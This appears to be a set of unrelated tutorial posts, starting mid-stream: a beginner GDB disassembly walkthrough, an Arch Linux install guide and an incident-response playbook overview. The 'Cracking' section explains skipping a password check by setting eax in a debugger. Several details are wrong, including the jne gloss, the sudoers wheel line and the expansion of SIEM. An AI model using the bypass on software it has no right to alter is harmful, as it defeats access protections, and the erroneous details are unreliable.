rsp            0x7fffffffe2b0      0x7fffffffe2b0

here rax is a register variable. Where its value is 0 at the moment.

Understanding Assembly (skim-perspective)

All code once compiled/interpreted completely, is basically converted into machine code or assembly language. Although it is quite difficult to understand, we can point out certain patterns in it. Let's take a look at this assembly dump here:

  (gdb) disassembly main
   0x00000000004005ea <+45>:    call   0x400490 <printf@plt>
   0x00000000004005ef <+50>:    mov    -0x10(%rbp),%rax
   0x00000000004005f3 <+54>:    add    $0x8,%rax
   0x00000000004005f7 <+58>:    mov    (%rax),%rax
   0x00000000004005fa <+61>:    mov    $0x4006da,%esi
   0x00000000004005ff <+66>:    mov    %rax,%rdi
   0x0000000000400602 <+69>:    call   0x4004b0 <strcmp@plt>
   0x0000000000400607 <+74>:    test   %eax,%eax
   0x0000000000400609 <+76>:    jne    0x400617 <main+90>
   0x000000000040060b <+78>:    mov    $0x4006ea,%edi
   0x0000000000400610 <+83>:    call   0x400480 <puts@plt>
   0x0000000000400615 <+88>:    jmp    0x40062d <main+112>

In here, at the 0x00000000004005ea or the 5ea line location/memory address, the <printf@plt> statement basically means that a printf() function is being called.

When we look at the manual for the printf() statement, it means that some message is being printed on the console.

Hence, we can conclude that one does not need to know assembly in depth to understand its code.

Constructing control flow and branches

let's take a look at this particular section from the assembly dump:

   0x0000000000400602 <+69>:    call   0x4004b0 <strcmp@plt>
   0x0000000000400607 <+74>:    test   %eax,%eax
   0x0000000000400609 <+76>:    jne    0x400617 <main+90>

a function of strcmp() is called which means two strings are compared (according to its definition), two variables are being compared and checked if they are the same or not. In 0x0000000000400607 <+74>: test %eax,%eax, we are checking the value of the register variable eax ,which denotes the first 32 bits of the 64 bit long capacity of the 64 bit variable rax we encountered in the output displayed at the top in 'CPU registers'.

In the last line, the jne command translates to jump when false with the specification to jump to the memory address of the main+90.

Just like that we construct a diagram or flowchart for the control flow of the entire program:

(please note that this is not accurate or usable code)

Cracking

Cracking is the process of breaking into and executing portions protected or protected code. It is considered a part of reverse-engineering.

From the previous topic, we can easily look into the register values, and the functions to take the control flow pointer or rip to that particular location of code which we wish to access. In the given section, we can make adjustments to rax by changing the value of eax to 0 through GDB or some similar debugger to make the program think that we the strcmp function is returning the FALSE value. So when we run the program from that particular set breakpoint, we will be able to access that particular portion of code that is only run if strcmp return FALSE.

How can we relate this to a real-life example? Password-protected applications is the key.

Some extra reads:

• https://ee.hawaii.edu/~tep/EE160/Book/chap14/subsection2.1.1.2.html

• https://www.geeksforgeeks.org/gdb-step-by-step-introduction/

An ISO is an image of the operating system. It acts as the installer for the operating system.

The ISO can be downloaded from one of ArchLinux's global mirrors, and flashed to create a bootable USB.

Setting up Ventoy: Flashing multiple ISOs to one USB

Just to be safe, we will use Ventoy to flash at least two different ISOs to our USB stick to make sure that if installing Arch is not possible for some case, we can always install some other linux distribution. However this is a very rare case because people don't usually sole-install Arch on their devices.

Link to installing: Ventoy

Let's assume that we are already on a Linux distribution (If you are on Windows, please follow this guide ). After we install the Ventoy binary, we will run it with this command:

$ sh Ventoy2Disk.sh -i /dev/sdX

where /dev/sdX is the device file name for our USB, we can know what that is through the fdisk -l command.

After Ventoy is installed, we can simply drag and drop our ArchLinux ISO into our flash drive's directory.

Diving into Arch: First boot

We will be greeted with a command line after we select the first option from the boot loader.

Connecting wi-fi

In most cases of a home computer, we may not have an ethernet cable laying around, so, we will connect our computer to wi-fi with iwctl utility.

Simply typing iwctl will open the iwd shell prompt. From here we must type the following command to view all our network devices:

$ [iwd]: device list

After we grab our device. We will make it scan for active wi-fi networks and display them:

$ [iwd]: station <device_name> scan
$ [iwd]: station <device_name> get-networks

Then select and connect to the network:

$ [iwd]: station <device_name> connect <wifi_name>

We will be asked to pitch in the password for that SSID. After we connect, we can test our connection with the ping command. And press CTRL-C to stop pinging. This is optional.

Partitioning drives

We will use the cfdisk utility to edit our drive partitions.

$ cfdisk /dev/sdY

here /dev/sdY is the device file name for the drive whose partitions we want to edit. We will assume that we are clean installing Arch on the entire drive.

In order to delete existing partitions, we will simple hover over the partition section with arrow keys and press delete.

After we select and enter write, our formatting is done. Let's create our new partitions now.

We will click on new then give the first partition a size of 100M meaning 100 megabytes, this will house the boot loader for our distribution.

After pressing enter, we will hover back to free space and repeat the process. This time we will give it a size of 4G. This will be house the swap memory for our distribution. It is that part of the drive which can be used as extra memory incase our RAM fills up.

Lastly, we will select free-space and not edit the default size suggested. Which will be all of the remaining part. This will house our files.

After everything's done. We will click write then primary then enter. Then quit.

Building and mounting file systems

We can know our partition names and size from the lsblk command.

$ mkfs.fat -F 32 <boot_partition>
$ mkswap <swap_partition>
$ mkfs.btrfs <storage_partition>

Here, we are using FAT32, SWAP, and btrfs file systems for our partitions. They are, almost the most optimal choices for file systems for these partitions.

After that, we will mount or make the file systems accessible from Arch.

$ mkdir -p /mnt/boot/efi
$ mount <boot_partition> /mnt/boot/efi
$ swapon <swap_partition>
$ mount <storage_partition> /mnt

Here, we are creating the boot and then nesting that with the efi directory to store the boot partition.

We are mounting the rest of the partitions to their required position.

Installing essential packages

Now, we are ready to install the core packages of our system.

$ pacstrap -K /mnt base linux linux-firmware sof-firmware base-devel nano networkmanager grub

We are installing the Linux kernel, sound-card firmware (for newer) systems, build-tools, network manager, the GRUB boot-loader and a text editor for editing system config files.

Generating the fstab file

$ genfstab -U /mnt > /mnt/etc/fstab

fstab is our Linux system's filesystem table, aka fstab , which is a configuration table designed to ease the burden of mounting and unmounting file systems to a machine.

Time to enter our newly installed arch system:

$ arch-chroot /mnt

System configurations

We can set the time zone with the following command

$ ln -sf /usr/share/zoneinfo/Region/City /etc/localtime
$ hwclock --systohc

where Region/City is your region (Just click TAB to set it as you go). The second command syncs the system clock with the set timezone.

Generating 'locale's or general configurations that are to be used by all or most programs can be done with this:

$ locale-gen
$ echo 'LANG=en_US.UTF-8' > /etc/locale.conf
$ echo 'KEYMAP=us' > /etc/vconsole.conf

Creating the hostname file for our system

$ echo '<hostname>' > /etc/hostname

Root and User configuration

$ passwd
$ useradd -m -G wheel ‘USERNAME’
$ passwd ‘USERNAME’

This will prompt us for the root password. Then create a user and add it to the group wheel. Lastly we will set the password for this user.

It's time to add root privileges to this user.

$ EDITOR=nano visudo

Over here, we will head over to the first statement and look for the line:

#%wheel%   ALL=(ALL:ALL) ALL

we will uncomment this line to enable all users underneath this group to have root privileges. Exit nano with CTRL+S and CTRL+X.

Update the packages:

$ pacman -Syu

Installing GRUB boot-loader

$ grub-install <drive_name>

we can replace <drive_name> with the device file name for our drive (Not partition).

Finishing steps

we will unmount the /mnt directory and reboot into our new system!

$ umount -R /mnt
$ reboot

Please remove the USB after the screen goes blank after the reboot command. We now boot into a fresh install of ArchLinux!

It is advisable to install a desktop environment like GNOME if you are using it as a daily driver. Just login now. Welcome!

Some extra reads:

• https://wiki.archlinux.org/title/installation_guide

• https://www.ventoy.net/

• https://guese-justin.medium.com/installing-arch-linux-the-easy-way-with-encrypted-drives-for-deep-learning-83fd55035ff7

• https://www.sciencedirect.com/topics/computer-science/boot-partition

• https://docs.oracle.com/cd/E19253-01/817-2521/overview-39/index.html

• https://wiki.archlinux.org/title/Linux_console/Keyboard_configuration

Incident Response plan vs. Incident Response playbook

Incident response plans are summarized steps on how to deal with an incident, while playbooks are more elaborated guides that helps refine the solution to the specific security concern.

Phases of Incident response security playbooks

• Prepare: Make effort to create a good security posture to avoid an incident, create security playbooks, train personnel, exercise security-breach drills.

• Detection and analysis: Use SIEM (System Information and Event Management) , IDS (Intrusion Detection System) or IPS (Intrusion Prevention System) tools to monitor metrics (Factors like response times, failure rates, etc), detect, and confirm breaches. Investigate the source of the breach.

• Containment: Take immediate measures to reduce further damage to organizational assets and take measures to neutralize the threat as much as possible.

• Eradication and Recovery: Restore damaged assets, document the incident and update the playbook.

• Collaboration: Let the concerned security team and higher authorities in the organization know about the incident.

Security playbooks are essential guides that are updated through incidents and security audits. They provide a structured pathway for a security analyst to respond to an incident.

Some extra reads:

• https://www.cyber.gov.au/sites/default/files/2023-03/ACSC%20Cyber%20Incident%20Response%20Plan%20Guidance_A4.pdf

• https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf

• https://learn.microsoft.com/en-us/security/operations/incident-response-playbooks